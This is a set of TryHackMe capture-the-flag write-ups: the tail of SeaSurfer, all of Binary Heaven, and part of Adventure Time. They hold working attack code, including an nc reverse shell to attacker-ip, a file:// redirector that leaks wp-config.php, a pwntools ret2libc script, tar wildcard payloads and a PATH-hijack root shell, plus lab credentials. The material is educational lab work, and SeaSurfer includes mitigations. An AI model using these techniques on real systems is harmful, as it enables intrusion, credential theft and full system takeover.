Pivoting the LFI to a higher-value target - the same redirector technique, with the Location header changed to point at WordPress's config file:

// redirect.php
<?php
header("Location: file:///var/www/wordpress/wp-config.php");
?>

Re-requesting the same <iframe src="http://attacker-ip/redirect.php"> payload against the updated redirector disclosed the full wp-config.php, including:

define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'wordpressuser' );
define( 'DB_PASSWORD', 'coolDataTablesMan' );
define( 'DB_HOST', 'localhost' );
// plus AUTH_KEY / SECURE_AUTH_KEY / LOGGED_IN_KEY / NONCE_KEY / *_SALT values

4. From Leaked DB Credentials to a WordPress Account

4.1 Adminer Login

The wordpressuser / coolDataTablesMan credentials pulled straight out of wp-config.php were used against the Adminer panel discovered earlier:

http://seasurfer.thm/adminer/?username=wordpressuser&db=wordpress

4.2 Dumping wp_users

SELECT * FROM wp_users LIMIT 50;

Returned a single account:

ID	user_login	user_pass	user_email
1	kyle	`$P$BuCryp52DAdCRIcLrT9vrFNb0vPcyi/`	kyle@seasurfer.thm

4.3 Cracking the Hash

john --wordlist=/usr/share/wordlists/rockyou.txt kyle-hash
...
jenny4ever       (?)
1g 0:00:00:08 DONE

The phpass hash cracked almost instantly against rockyou.txt - the password jenny4ever is a weak, dictionary-adjacent value with no complexity.

4.4 WordPress Admin Login

kyle / jenny4ever authenticated successfully at http://seasurfer.thm/wp-login.php, landing on a full WordPress Dashboard (confirmed as an administrator - the account has a custom "Teams" menu item from the team-members plugin and full wp-admin access).

5. Authenticated RCE via WordPress Theme Editor

With admin access to wp-admin, the built-in Theme File Editor (Appearance -> Theme File Editor) was used to edit the active theme's 404.php template, injecting a PHP web shell / reverse-shell payload, then clicking Update File. WordPress writes the edited PHP directly to disk with no code-execution restriction for admin users.

Visiting any non-existent path on the site (e.g. http://seasurfer.thm/<random-path>) triggers Apache/WordPress's 404 handling, which executes the now-malicious 404.php.

A listener was started first:

penelope listen -p 4444

Then the crafted URL was requested, and the listener caught a shell:

[+] [New Reverse Shell] => ip-machine-ip machine-ip Linux-x86_64  Session ID <1>
www-data@ip-machine-ip:/$ whoami
www-data
www-data@ip-machine-ip:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Code execution as www-data obtained.

6. Privilege Escalation: www-data -> kyle (Tar Wildcard Injection)

Exploring the webroot as www-data surfaced a maintenance script:

www-data@ip-machine-ip:/var/www/internal/maintenance$ cat backup.sh
#!/bin/bash
# Brandon complained about losing _one_ receipt when we had 5 minutes of downtime,
# set this to run every minute now >:D
cd /var/www/internal/invoices
tar -zcf /home/kyle/backups/invoices.tgz *

This script is scheduled to run every minute (by kyle's crontab, inferred from the output path /home/kyle/backups/), and it runs tar with a bare * glob inside /var/www/internal/invoices - a directory the web application (and therefore www-data) can write to, since generated receipts land there. This is the textbook setup for the classic tar wildcard injection technique: filenames in the target directory that look like tar command-line flags get expanded by the shell glob and interpreted by tar as options.

Exploit:

echo 'mkfifo /tmp/lhennp; nc attacker-ip 5555 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp' > shell.sh
chmod +x shell.sh

echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh shell.sh"

When the cron-triggered tar -zcf ... * next ran (within one minute), the glob expanded to include the two specially-named files, tar interpreted them as --checkpoint=1 --checkpoint-action=exec=sh shell.sh, and executed shell.sh as the user owning the cron job (kyle).

penelope listen -p 5555
...
[+] [New Reverse Shell] => ip-machine-ip machine-ip Linux-x86_64  Session ID <1>
kyle@ip-machine-ip:/var/www/internal/invoices$ whoami
kyle
kyle@ip-machine-ip:/var/www/internal/invoices$ id
uid=1000(kyle) gid=1000(kyle) groups=1000(kyle),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev)

Shell upgraded to kyle (notably in the sudo group, but not yet usable - see Section 7).

User Flag

kyle@ip-machine-ip:~$ cat user.txt
THM{REDACTED}

A personal SSH key was then added to kyle's ~/.ssh/authorized_keys for stable, persistent access, and subsequent interaction was done over a normal SSH session:

ssh -i ~/.ssh/id_ed25519 kyle@seasurfer.thm

7. Privilege Escalation: kyle -> root (Leftover SSH Agent + pam_ssh_agent_auth)

7.1 Dead Ends

A standard SUID sweep found nothing unusual:

kyle@ip-machine-ip:~$ find / -perm -4000 2>/dev/null
# only standard system SUID binaries (mount, passwd, sudo, su, pkexec, etc.)

7.2 Unusual sudo Configuration

kyle is in the sudo group, but sudo -l initially requires authentication that plain password/console login doesn't satisfy. Inspecting the PAM stack explained why:

kyle@ip-machine-ip:~$ cat /etc/pam.d/sudo
#%PAM-1.0
auth sufficient pam_ssh_agent_auth.so file=/etc/ssh/sudo_authorized_keys
session    required   pam_env.so readenv=1 user_readenv=0
session    required   pam_env.so readenv=1 envfile=/etc/default/locale user_readenv=0
@include common-auth
@include common-account
@include common-session-noninteractive

sudo on this host is configured to authenticate via pam_ssh_agent_auth: if the invoking process has SSH_AUTH_SOCK pointed at an agent holding a private key listed in /etc/ssh/sudo_authorized_keys, sudo succeeds with no password at all.

7.3 Finding a Usable Agent Socket

A process listing revealed another session had left an SSH agent running and forwarded:

kyle@ip-machine-ip:~$ ps aux
...
kyle    1059  0.0  0.3  13920  3256 ?        S  bash -c "sudo /root/admincheck; sleep infinity"
...

And a corresponding agent socket with loose permissions:

kyle@ip-machine-ip:~$ ls -lpah /tmp/ssh-I2y4KwPuPD/agent.1145
srwxrwxr-x 1 kyle kyle 0 ... /tmp/ssh-I2y4KwPuPD/agent.1145

The socket is owned by kyle and group/other-writable (srwxrwxr-x), i.e. fully usable by the kyle shell already obtained. Pointing the current shell's SSH_AUTH_SOCK at it exposed a loaded key:

kyle@ip-machine-ip:/tmp/ssh-rOWRscow8o$ export SSH_AUTH_SOCK=/tmp/ssh-rOWRscow8o/agent.1138
kyle@ip-machine-ip:/tmp/ssh-rOWRscow8o$ ssh-add -l
3072 SHA256:boZASmxRncp8AM+gt1toNuZr9jh1dyatwf9DPZYit88 kyle@seasurfer (RSA)

7.4 Escalating

With that agent socket active, sudo - authenticated via pam_ssh_agent_auth against /etc/ssh/sudo_authorized_keys - succeeded outright:

kyle@ip-machine-ip:/tmp/ssh-rOWRscow8o$ sudo -l
Matching Defaults entries for kyle on seasurfer:
    env_keep+=SSH_AUTH_SOCK, env_reset, timestamp_timeout=420, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User kyle may run the following commands on seasurfer:
    (ALL : ALL) ALL

kyle@ip-machine-ip:/tmp/ssh-rOWRscow8o$ sudo su
root@seasurfer:/tmp/ssh-rOWRscow8o# cd /root
root@seasurfer:~# ls
admincheck  credits.txt  hidePID.sh  root.txt  snap  SSHtoserver.sh

Full root access obtained.

Root Flag

root@seasurfer:~# cat root.txt
THM{REDACTED}

Key Vulnerabilities

#	Vulnerability	Location	Impact
1	Internal hostname disclosure via custom response header	`X-Backend-Server` header, port 80	Revealed the real site name, enabling further vhost enumeration
2	Unauthenticated internal-only application reachable from outside	`internal.seasurfer.thm`	Exposed a tool never meant to face the internet
3	Reflected server-side HTML injection (no output encoding)	`invoice.php` - every `$_GET` key echoed raw	Root cause enabling #4 and #5
4	SSRF via HTML-to-PDF rendering	Receipt generator comment field	Server made outbound requests to attacker infrastructure
5	Local File Inclusion, reached by chaining the SSRF through an attacker-hosted HTTP redirect to `file://`	Receipt generator comment field	Disclosed `/etc/passwd` and `wp-config.php` (DB creds + WP secret keys)
6	Exposed Adminer instance, reachable with leaked DB credentials	`seasurfer.thm/adminer/`	Full read/write access to the WordPress database
7	Weak/crackable user password	`kyle`'s WordPress `phpass` hash	Cracked in seconds with `rockyou.txt`
8	Authenticated RCE via WordPress Theme File Editor	`wp-admin` -> Appearance -> Theme File Editor	Direct PHP code execution as the web server user
9	Unsafe `tar` wildcard usage in a privileged cron job, over a web-writable directory	`/var/www/internal/maintenance/backup.sh` (runs every minute)	Local privilege escalation from `www-data` to `kyle`
10	World/group-accessible leftover SSH agent socket + permissive `pam_ssh_agent_auth` sudo rule	`/tmp/ssh-/agent.`, `/etc/pam.d/sudo`, `/etc/ssh/sudo_authorized_keys`	Local privilege escalation from `kyle` to `root`

Attack Chain Summary

X-Backend-Server header leak
        |
        v
seasurfer.thm discovered (WordPress) --> ffuf finds /adminer/ (no creds yet)
        |
        v
ffuf vhost fuzz discovers internal.seasurfer.thm
        |
        v
Receipt generator (invoice.php) - unsanitized $_GET echoed into rendered HTML
        |
        +--> HTML injection confirmed (<b> test)
        +--> SSRF confirmed (iframe -> attacker http.server callback)
        +--> LFI via SSRF chained through an attacker-hosted PHP redirector (direct file:// payloads failed)
                 |
                 +--> /etc/passwd read
                 +--> wp-config.php read -> DB_USER / DB_PASSWORD leaked
                          |
                          v
                 Adminer login succeeds (wordpressuser / coolDataTablesMan)
                          |
                          v
                 wp_users dumped -> kyle's phpass hash
                          |
                          v
                 john + rockyou.txt -> password "jenny4ever"
                          |
                          v
                 WordPress admin login as kyle
                          |
                          v
                 Theme File Editor -> malicious 404.php -> RCE
                          |
                          v
                 Reverse shell as www-data
                          |
                          v
                 tar wildcard injection in cron backup.sh (web-writable dir)
                          |
                          v
                 Reverse shell as kyle (user.txt)
                          |
                          v
                 Leftover world-usable SSH agent socket + pam_ssh_agent_auth sudo rule
                          |
                          v
                 sudo su -> root (root.txt)

Mitigations

Finding	Recommended Fix
Vhost name leaked via `X-Backend-Server`	Remove/strip custom debug headers from production responses; never expose internal hostnames to clients.
Internal app reachable externally	Internal-only vhosts should be bound to an internal network interface or protected by network ACLs / a VPN, not merely "unlinked." Security by obscurity (an unlisted vhost) is not a control.
Unsanitized `$_GET` reflected into rendered HTML	Always HTML-encode user input before interpolating it into any template (`htmlspecialchars()` at minimum); better, use a templating engine with auto-escaping by default.
SSRF in HTML-to-PDF rendering	Disable remote resource loading in the PDF engine (e.g. `--disable-local-file-access` and restrict/deny outbound network access for the rendering process); render from a sanitized DOM/allow-list of tags rather than raw user HTML; run the renderer in an isolated/sandboxed, network-restricted container.
LFI via `file://`	Same as above - disable local file access in the renderer, and additionally sandbox the rendering process's filesystem view (chroot/container) so even a successful file-scheme request can't reach sensitive paths like `wp-config.php`.
Secrets in `wp-config.php` reachable by the web server process	Store DB credentials and secret keys outside the webroot or in environment variables / a secrets manager, and ensure the PDF renderer cannot reach arbitrary paths on disk in the first place.
Adminer exposed on the production vhost	Do not deploy Adminer (or any DB admin tool) on a public-facing, production host; if needed, bind it to localhost and tunnel/VPN, add IP allow-listing, and require strong, unique credentials and MFA where supported.
Weak, crackable password (`jenny4ever`)	Enforce a strong password policy / minimum entropy for all accounts, especially privileged WordPress and system accounts; consider MFA on `wp-admin`.
Theme File Editor enabled for admin accounts	Disable the Theme/Plugin File Editor (`define('DISALLOW_FILE_EDIT', true);` in `wp-config.php`); restrict `wp-admin` to trusted IPs; apply least privilege to WordPress accounts.
`tar` wildcard expansion over a web-writable directory, run by cron	Never glob (`*`) over attacker-influenceable directories; use `tar --` with explicit file lists, or `find ... -print0 \
Leftover/forwarded SSH agent socket left world/group accessible	Never leave forwarded agent sockets reachable by other local users; use {% raw %}`ssh -o ForwardAgent=no` by default and only forward deliberately and briefly; tighten socket permissions; avoid long-lived background processes (`sleep infinity`) that hold onto sensitive file descriptors/sockets.
`pam_ssh_agent_auth` trusting any reachable agent-held key for `sudo`	Scope `/etc/ssh/sudo_authorized_keys` tightly and audit it regularly; prefer standard password or hardware-token-based sudo authentication unless the operational need for agent-based sudo is well understood and the agent exposure is tightly controlled; monitor for anomalous `sudo` sessions authenticated this way.

References

HTML to PDF converters: can I hack them? - Tempest Security, SideChannel blog: https://www.tempest.com.br/sidechannel/en/html-to-pdf-converters-can-i-hack-them (background on SSRF/LFI techniques against server-side HTML-to-PDF renderers, used to guide Section 3.3 - 3.4)
pam_ssh_agent_auth man page: https://manpages.ubuntu.com/manpages/bionic/man8/pam_ssh_agent_auth.8.html (used to understand the sudo PAM configuration in Section 7.2 - 7.4)

Flags have been redacted in this report per request. machine-ip refers to the lab target and attacker-ip refers to the attacker host; neither is publicly routable.

TryHackMe: Binary Heaven - Writeup

Yogeshwar Peela — Mon, 28 Sep 2026 15:34:24 +0000

Summary

A locked-down TryHackMe box gating SSH access behind two credential-checking binaries: a small C program with an anti-debug/obfuscated string comparison, and a statically linked Go binary hiding a plaintext password in .rodata. Static reverse engineering in Ghidra and GDB recovers both credentials and yields SSH access as guardian. From there, a 32-bit SUID binary with no stack canary is exploited via classic ret2libc (using a libc address the binary leaks for free) to escalate to binexgod. Finally, a root-owned SUID binary that calls system() with an unqualified echo inside /usr/bin/env is abused via PATH hijacking to spawn a root shell, despite the binary's attempt to drop privileges beforehand.

See the Complete Attack Chain at the end for the condensed version of the whole path.

Overview

Machine: Binary Heaven
Attacker IP: 10.x.x.x (Kali)
Target IP: 10.49.188.50

Recon

Downloaded and unzipped the provided credentials archive:

unzip credentials_1614324056485.zip
file angel_*

angel_A: ELF 64-bit LSB pie executable, x86-64, dynamically linked, not stripped
angel_B: ELF 64-bit LSB executable, x86-64, statically linked (Go binary), not stripped

Two binaries - a small C program and a Go program - both gating some kind of login prompt.

Stage 1 - angel_A (Anti-Debug + Obfuscated Username Check)

strings angel_A showed the binary calls ptrace, and the prompt text gave away the anti-debug gimmick directly:

Using debuggers? Here is tutorial https://www.youtube.com/watch?v=dQw4w9WgXcQ
Say my username >>
That is not my username!
Correct! That is my name!

Loaded the binary into Ghidra rather than fighting the check live in GDB - since the process never gets ptrace'd by us, the self-detection branch never fires, and static analysis sidesteps it entirely.

Decompiling main()

lVar1 = ptrace(PTRACE_TRACEME,0,1,0,param_5,param_6,param_2);
if (lVar1 == -1) {
  printf("Using debuggers? Here is tutorial https://www.youtube.com/watch?v=dQw4w9WgXcQ/n%22");
  exit(1);
}
printf("\x1b\36m\nSay my username >> \x1b\0m");
fgets((char *)local_15,9,stdin);
local_c = 0;
while( true ) {
  if (7 < local_c) {
    puts("\x1b\32m\nCorrect! That is my name!\x1b\0m");
    return 0;
  }
  if (*(int *)(username + (long)local_c * 4) != (char)(local_15[local_c] ^ 4) + 8) break;
  local_c = local_c + 1;
}
puts("\x1b\31m\nThat is not my username!\x1b\0m");

Not a plain strcmp - a byte-by-byte loop comparing each input character, transformed as (input_char ^ 4) + 8, against a global array username, stored as full 4-byte ints rather than a packed char[] (visible in the listing as 6b 00 00 00 79 00 00 00 ...).

Extracting and inverting

00104060  6b 00 00 00 79 00 00 00 6d 00 00 00 7e 00 00 00
          68 00 00 00 75 00 00 00 6d 00 00 00 72 00 00 00

Low bytes: 0x6b 0x79 0x6d 0x7e 0x68 0x75 0x6d 0x72

raw_bytes = [0x6b, 0x79, 0x6d, 0x7e, 0x68, 0x75, 0x6d, 0x72]
password = ''.join(chr((b - 8) ^ 4) for b in raw_bytes)
print(password)

guardian

Confirmed:

./angel_A
Say my username >> guardian
Correct! That is my name!

Username: guardian

Stage 2 - angel_B (Go Binary Password Check)

strings angel_B was too noisy (full Go runtime symbol table, GC internals). Went straight to GDB:

gdb ./angel_B
(gdb) info functions

Surfaced main.main cleanly. Disassembled it:

mov 0x40(%rsp),%rax
mov 0x8(%rax),%rcx
mov (%rax),%rax
cmp $0xb,%rcx          # length check == 11 (len("GOg0esGrrr!"))
je 0x4a54a1
...
0x4a54a1:
mov %rax,(%rsp)
lea 0x2585f(%rip),%rax   # 0x4cad0b  <- reference string address
mov %rax,0x8(%rsp)
mov %rcx,0x10(%rsp)
call runtime.memequal

Go string comparisons compile to a length check (0xb = 11 bytes) plus runtime.memequal against a .rodata pointer.

gdb -batch -ex 'x/s 0x4cad0b' ./angel_B

0x4cad0b: "GOg0esGrrr!Ideographic..."

The confirmed 11-byte length gave the exact cutoff.

Password: GOg0esGrrr!

Confirmed:

./angel_B
Say the magic word >> GOg0esGrrr!
Right password! Now GO ahead and SSH into heaven.

Initial Access - SSH as guardian

ssh guardian@10.49.188.50
# password: GOg0esGrrr!

guardian@heaven:~$ id
uid=1001(guardian) gid=1001(guardian) groups=1001(guardian)

Flag 1

cat guardian_flag.txt

THM{REDACTED_GUARDIAN_FLAG}

Privilege Escalation - guardian to binexgod

Enumeration

ls -la

-rwsr-sr-x 1 binexgod binexgod 15772 May  8  2021 pwn_me

Setuid/setgid binary owned by binexgod. .python_history hinted at prior buffer-length fuzzing ('A'*32, 'A'*55).

file pwn_me

pwn_me: setuid, setgid ELF 32-bit LSB shared object, dynamically linked, interpreter /lib/ld-linux.so.2

checksec --file=pwn_me

RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled

No canary + NX enabled -> classic ret2libc target.

Finding the Overflow

./pwn_me
Binexgod said he want to make this easy.
System is at: 0xf7df4950

The binary leaks a live system() address on every run - no need for a separate leak primitive.

gdb ./pwn_me
(gdb) info functions
(gdb) disassemble vuln

sub $0x24,%esp
...
call <fgets/read equivalent>

vuln() reads into a small fixed buffer with no length check.

gdb ./pwn_me
(gdb) run < <(python3 -c "import sys; sys.stdout.buffer.write(b'A'*32 + b'BBBB')")

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r eip
eip            0x42424242       0x42424242

Offset to return address: 32 bytes

Building the ret2libc Chain

ldd pwn_me
# libc.so.6 => /lib32/libc.so.6

readelf -s /lib32/libc.so.6 | grep " system"
# 1457: 0003a950  55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0

strings -a -t x /lib32/libc.so.6 | grep "/bin/sh"
# 15910b /bin/sh

libc_base = leak - 0x3a950
binsh_addr = libc_base + 0x15910b

from pwn import *

p = process('./pwn_me')

p.recvuntil(b'System is at: ')
leak = int(p.recvline().strip(), 16)
log.info(f"Leaked system(): {hex(leak)}")

libc_base   = leak - 0x3a950
system_addr = leak
binsh_addr  = libc_base + 0x15910b

payload  = b'A' * 32
payload += p32(system_addr)
payload += p32(0x41414141)
payload += p32(binsh_addr)

p.sendline(payload)
p.interactive()

Since pwn_me is SUID/SGID binexgod, the spawned /bin/sh inherits those bits:

whoami
binexgod
id
uid=1002(binexgod) gid=1001(guardian) groups=1001(guardian)

Flag 2

cat binexgod_flag.txt

THM{REDACTED_BINEXGOD_FLAG}

Privilege Escalation - binexgod to root

Enumeration

ls -la vuln

-rwsr-xr-x 1 root binexgod 8824 Mar 15  2021 vuln

SUID root, group binexgod. Source was readable:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  system("/usr/bin/env echo Get out of heaven lol");
}

./vuln

Get out of heaven lol

The Vulnerability

The binary drops privileges via setresuid/setresgid before calling system() - but since it's SUID root, geteuid()/getegid() already return 0, so those calls re-affirm root instead of dropping it. system() is still called with /usr/bin/env echo ...: an absolute path to env, but env resolves echo via $PATH search, not a hardcoded location.

which env
# /usr/bin/env
echo $PATH
# /home/guardian/bin:...:/usr/bin:/sbin:/bin:...

Exploitation

mkdir -p /tmp/evil

echo '#!/bin/bash
/bin/bash -p' > /tmp/evil/echo

chmod +x /tmp/evil/echo

export PATH=/tmp/evil:$PATH

./vuln

env's echo lookup resolves to the attacker-controlled script, spawning a root shell (bash -p preserves the elevated UID/GID):

root@heaven:/home/binexgod# whoami
root

Root Flag

cd /root
cat root.txt

THM{REDACTED_ROOT_FLAG}

Complete Attack Chain

angel_A (Ghidra static analysis, bypass ptrace anti-debug)
  -> decompile obfuscated byte-transform check
  -> invert (input^4)+8 transform on hardcoded username array
  -> guardian

angel_B (GDB, info functions -> main.main disassembly)
  -> length check (0xb) + runtime.memequal against .rodata pointer
  -> dump reference string at leaked address
  -> GOg0esGrrr!

SSH as guardian (guardian:GOg0esGrrr!)
  -> FLAG 1 (guardian_flag.txt)

Enumeration -> pwn_me (SUID/SGID binexgod, no canary, NX enabled, leaks system() address)
  -> gdb: vuln() unbounded read, offset to EIP = 32 bytes
  -> readelf/strings on /lib32/libc.so.6 -> system() offset + /bin/sh offset
  -> ret2libc payload: padding + system() + junk_ret + /bin/sh
  -> shell as binexgod
  -> FLAG 2 (binexgod_flag.txt)

Enumeration -> vuln (SUID root, binexgod group)
  -> source shows setresuid/setresgid "hardening" that re-affirms root (already root via SUID)
  -> system("/usr/bin/env echo ...") resolves "echo" via $PATH, not hardcoded
  -> PATH hijack: /tmp/evil/echo -> /bin/bash -p
  -> export PATH=/tmp/evil:$PATH; ./vuln
  -> root shell
  -> ROOT FLAG (root.txt)

Key Takeaways / Exploit Notes

Anti-debug checks (ptrace self-detection) can often be bypassed entirely by static analysis instead of live debugging - no need to patch or defeat the check if you never attach a debugger.
Go binaries are statically linked and symbol-heavy; info functions / disassemble main.main in GDB is far more useful than strings alone for locating comparison logic.
No stack canary + NX + leaked libc address = ideal, low-friction ret2libc scenario; no need to brute-force or leak libc via a separate format string bug since the binary handed us the address directly.
SUID binaries calling system()/unqualified binary names are a PATH hijacking goldmine - always check strings <suid_binary> for shell-outs and enumerate $PATH write permissions.
Privilege-dropping calls that run after the process already holds the target privilege don't drop anything - setresuid(geteuid(), ...) on a SUID-root binary just reasserts root.

TryHackMe: Adventure Time Writeup

Yogeshwar Peela — Tue, 22 Sep 2026 12:20:08 +0000

Summary

Adventure Time is a hard-rated TryHackMe box themed around the cartoon, with a heavy focus on multi-layered encoding/decoding puzzles, steganography, and lateral movement through several user accounts before reaching root. The attack path begins with FTP anonymous login retrieving six JPEG images whose EXIF XP Comment fields encode binary fragments, which concatenate to a hint phrase. A chain of web pages hosted at land-of-ooo.com — discovered by following the SSL certificate clue from the HTTPS vhost — delivers credentials through Morse code, AES decryption, Vigenère cipher, and a Spoon (esoteric binary language) challenge. Each credential unlocks the next user. The final privilege escalation abuses a SUID-root exim4 binary vulnerable to CVE-2019-10149 (The Return of the WIZard), landing a root shell and the BMO reset code hidden in Bubblegum's home directory.

Attack Chain

1. Recon

rustscan -a MACHINE_IP --ulimit 5000

Open MACHINE_IP:21
Open MACHINE_IP:22
Open MACHINE_IP:80
Open MACHINE_IP:443
Open MACHINE_IP:31337

nmap -sC -sV MACHINE_IP -p 21,22,80,443,31337

PORT      STATE SERVICE  VERSION
21/tcp    open  ftp      vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -r--r--r--    1 ftp      ftp       1401357 Sep 21  2019 1.jpg
| -r--r--r--    1 ftp      ftp        233977 Sep 21  2019 2.jpg
| -r--r--r--    1 ftp      ftp        524615 Sep 21  2019 3.jpg
| -r--r--r--    1 ftp      ftp        771076 Sep 21  2019 4.jpg
| -r--r--r--    1 ftp      ftp       1644395 Sep 21  2019 5.jpg
|_-r--r--r--    1 ftp      ftp         40355 Sep 21  2019 6.jpg
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.29
|_http-title: 404 Not Found
443/tcp   open  ssl/http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: You found Finn
| ssl-cert: Subject: commonName=adventure-time.com/organizationName=Candy Corporate Inc.
31337/tcp open  Elite?
| fingerprint-strings:
|   GenericLines, NULL:
|     Hello Princess Bubblegum. What is the magic word?

Port 31337 is a custom TCP service that prompts for a "magic word". Port 80 returns 404. Port 443 has a self-signed cert for adventure-time.com.

2. FTP anonymous login - EXIF binary decode

ftp MACHINE_IP 21

Name: anonymous
230 Login successful.
ftp> prompt off
ftp> mget *

Six JPEGs downloaded. All have binary data embedded in the XP Comment EXIF field:

exiftool *.jpg | grep "XP Comment"

XP Comment : 01111001 01101111 01110101 00100000
XP Comment : 01110010 01100101 01100001 01101100 01101100 01111001 00100000
XP Comment : 01101100 01101001 01101011 01100101 00100000
XP Comment : 01110100 01101111 00100000
XP Comment : 01110000 01110101 01111010 01111010 01101100 01100101 00100000
XP Comment : 01100100 01101111 01101110 00100111 01110100 00100000 01111001 01100001

Decoding each binary sequence and concatenating:

1.jpg → you
2.jpg → really
3.jpg → like
4.jpg → to
5.jpg → puzzle
6.jpg → don't ya

Result: "you really like to puzzle don't ya"

Tried this as the magic word on port 31337 - rejected. It's a clue, not the answer itself.

nc MACHINE_IP 31337
Hello Princess Bubblegum. What is the magic word?
you really like to puzzle don't ya
The magic word is not you really like to puzzle don't ya

3. Web enumeration - HTTPS vhost

Port 80 (HTTP) returns 404. Port 443 (HTTPS) serves content:

curl -k https://MACHINE_IP/

<title>You found Finn</title>
<img src="finn-1.png" alt="the magic word" style="width: 100%">

The SSL cert's commonName=adventure-time.com is the clue. Added adventure-time.com to /etc/hosts. Gobuster against the HTTPS service:

gobuster dir -u https://MACHINE_IP/ -k -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

candybar    (Status: 301) [Size: 321] [--> https://MACHINE_IP/candybar/]

curl -k https://MACHINE_IP/candybar/

<title>Where is Jake?</title>
<img src="finn-2.png" alt="the magic word" style="width: 100%">
<!-- KBQWY4DONAQHE53UOJ5CA2LXOQQEQSCBEBZHIZ3JPB2XQ4TQNF2CA5LEM4QHEYLKORUC4=== -->

Decoding the HTML comment:

echo 'KBQWY4DONAQHE53UOJ5CA2LXOQQEQSCBEBZHIZ3JPB2XQ4TQNF2CA5LEM4QHEYLKORUC4===' | base32 -d

Palpnh rwtrz iwt HHA rtgixuxrpit udg rajth.

Applying Caesar cipher with shift -15 decodes to: "ALWAYS CHECK THE SSL CERTIFICATE FOR CLUES"

The certificate confirmed adventure-time.com / land-of-ooo.com as the target domain.

4. Enumerating land-of-ooo.com

ffuf -u https://land-of-ooo.com/FUZZ -k -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

yellowdog    [Status: 301, Size: 322]

curl -k https://land-of-ooo.com/yellowdog/

<title>To find a password</title>
<img src="jake-2.png" alt="what is the password?" style="width: 100%">

ffuf -u https://land-of-ooo.com/yellowdog/FUZZ -k -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

bananastock    [Status: 301]

The /yellowdog/bananastock/ page displayed two Banana Guards with their password rendered as Morse code using / as dot delimiter and \ as word delimiter. Decoded in CyberChef (From Morse Code, Letter delimiter: Forward slash, Word delimiter: Backslash):

"THE BANANAS ARE THE BEST!!!"

ffuf -u https://land-of-ooo.com/yellowdog/bananastock/FUZZ -k -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

princess    [Status: 301]

curl -k https://land-of-ooo.com/yellowdog/bananastock/princess/

<title>What secret safe?</title>
<!--
Secrettext = 0008f1a92d287b48dccb5079eac18ad2a0c59c22fbc7827295842f670cdb3cb645de3de794320af132ab341fe0d667a85368d0df5a3b731122ef97299acc3849cc9d8aac8c3acb647483103b5ee44166
Key = my cool password
IV = abcdefghijklmanopqrstuvwxyz
Mode = CBC
Input = hex
Output = raw
-->

Decrypted in CyberChef (AES Decrypt, CBC, Hex input):

"the magic safe is accessibel at port 31337. the magic word is: ricardio"

5. Port 31337 - get SSH username

nc MACHINE_IP 31337
Hello Princess Bubblegum. What is the magic word?
ricardio
The new username is: apple-guards

6. SSH as apple-guards

ssh apple-guards@land-of-ooo.com
apple-guards@land-of-ooo.com's password: THE BANANAS ARE THE BEST!!!

apple-guards@at:~$ whoami
apple-guards
apple-guards@at:~$ id
uid=1009(apple-guards) gid=1009(apple-guards) groups=1009(apple-guards)
apple-guards@at:~$ cat flag1
tryhackme{REDACTED}
apple-guards@at:~$ cat flag.txt
tryhackme{REDACTED}

Checked mail:

apple-guards@at:~$ cat mbox
From: marceline@at
Subject: Need help???

Hi there bananaheads!!!
I heard Princess B revoked your access to the system. Bummer!
But I'll help you guys out.....doesn't cost you a thing.....well almost nothing.
I hid a file for you guys. If you get the answer right, you'll get better access.

apple-guards@at:~$ find / -type f -user marceline 2>/dev/null
/etc/fonts/helper
apple-guards@at:~$ ls -la /etc/fonts/helper
-rwxr-x--- 1 marceline apple-guards 16616 sep 20  2019 /etc/fonts/helper

7. Marceline's helper puzzle - Vigenère decode

apple-guards@at:~$ /etc/fonts/helper

======================================
      BananaHead Access Pass
       created by Marceline
======================================

The key to solve this puzzle is gone
And you need the key to get this readable: Gpnhkse

Did you solve the puzzle? yes

What is the word I'm looking for? Abadeer

That's it!!!! You solved my puzzle
Don't tell princess B I helped you guys!!!
My password is 'My friend Finn'

Vigenère decode of Gpnhkse with key gone (CyberChef) → "Abadeer"

8. SSH/su as marceline

apple-guards@at:~$ su marceline
Password: My friend Finn
marceline@at:~$ cat flag2
tryhackme{REDACTED}

marceline@at:~$ cat I-got-a-secret.txt
...
111111111100100010101011101011111110101111111111011011011011000001101001001011111111111111001010010111100101000000000000101001101111001010010010111111110010100000000000000000000000000000000000000010101111110010101100101000000000000000000000101001101100101001001011111111111111111111001010000000000000000000000000001010111001010000000000000000000000000000000000000000000001010011011001010010010111111111111111111111001010000000000000000000000000000000001010111111001010011011001010010111111111111100101001000000000000101001111110010100110010100100100000000000000000000010101110010100010100000000000000010100000000010101111100101001111001010011001010010000001010010100101011100101001101100101001011100101001010010100110110010101111111111111111111111111111111110010100100100000000000010100010100111110010100000000000000000000000010100111111111111111110010100101111001010000000000000001010

The binary string is Spoon (an esoteric Brainfuck-derived language using only +, -, >, <, [, ], ., , encoded as binary). Decoded via dCode's Spoon interpreter:

"the magic word you are looking for is ApplePie"

9. Port 31337 again - get peppermint-butler password

nc land-of-ooo.com 31337
Hello Princess Bubblegum. What is the magic word?
ApplePie
The password of peppermint-butler is: That Black Magic

10. su peppermint-butler

marceline@at:~$ su peppermint-butler
Password: That Black Magic
peppermint-butler@at:~$ cat flag3
tryhackme{REDACTED}

